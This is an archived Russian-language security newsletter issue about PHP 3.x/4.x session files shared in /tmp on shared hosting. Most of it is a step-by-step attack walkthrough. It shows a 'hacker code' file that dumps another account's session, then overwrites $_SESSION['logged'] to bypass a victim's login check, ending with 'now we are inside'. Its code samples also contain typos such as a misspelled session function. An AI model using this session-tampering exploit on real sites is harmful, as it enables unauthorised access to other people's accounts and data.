Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпуск по безопасности.


Информационный Канал Subscribe.Ru

Опасные продукты:
PHP SESSION
Безопансность
ПО: PHP SESSION
Версия: 3.x и 4.x

Описание:
В PHP вы можете найти переменную сессии, просмотрев этот код:

start_sesion();
$my_var='foo';
session_register('my_var');

Этот очень 'постой метод' для получения секретной информации, потому что информация, которая пересылается в открытом виде или в кукисах (cookie) может быть изменена пользователем.
Но... переменная сеанса так же может быть изменена. При этом изменения происходят только в определенной среде, но нам это не помеха.
PHP сохраняет все сессии в файл:

/tmp/sess_$id
Переменная "$id" задается случайным образом и она обычно храниться в кукисах с именем 'PHPSESSID' или добавляется к URL. Пользователь не знает, что вид переменной объявляется в сессиях. Очень важно, что PHP дает единственный 'id' для одного пользователя.
Это подразумевает что, если вы заходите на сайт:
www.example.com/account1/
Вы будете иметь тот же самый 'id' номер на другом сайте:
www.example.com/account2/
Итак, вся информация с 'account1' и 'account2' сохраняется в одном файле: /tmp/sess_$id.
Когда 'account1' устанавливает переменную $name='Been', 'account2' просматривает, читает и записывает это переменную, потому что вся информация записывается в один и тот же файл, и PHP не знает истинного владельца информации.
Использование:
Нам необходим специальный код:

session_start();
if (!session_is_registered("logged")) {
$logged=0;
}
if ($login=='s3cr3t') {$logged=1;}
session_register('logged');
if ($_SESSION['logged']==1){ see_my_secret_file(); }

Это очень просто!
Мы перемещаем этот файл на машину, которую будем атаковать:
Хакерский код:

session_start();
var_export($_SESSION);
Далее действуем так:
1) заходим на сайт:
http://[victim-host]/[victim]/file.php
2) запускаем файл:
http://[victim-host]/[hacer-account]/hacker.php
Мы видим что-то типа этого на странице:
array ( 'logged' => 0, )
Теперь мы знаем, что жертва использует '$logged' переменную для распознавания нас. Редактируем хакерский файл, записывая туда этот код:

session_start();
$_SESSION['logged']=1;
Запускаем наш файл на аккуанте и обновляем страницу.
Теперь мы внутри!
Рассылка создана и ведется при поддержке Информационной сети Пермского края. Если Вам нравится эта рассылка и Вы пользуетесь сведениями из неё, то можете поддержать автора, перечислив небольшое вознаграждение на R474348938531 или Z451490294903. Связаться со мной можно по ICQ 273214003.

Subscribe.Ru
Поддержка подписчиков
Другие рассылки этой тематики
Другие рассылки этого автора
Подписан адрес:
Код этой рассылки: comp.paper.supuser
Архив рассылки
Отписаться
Вспомнить пароль

В избранное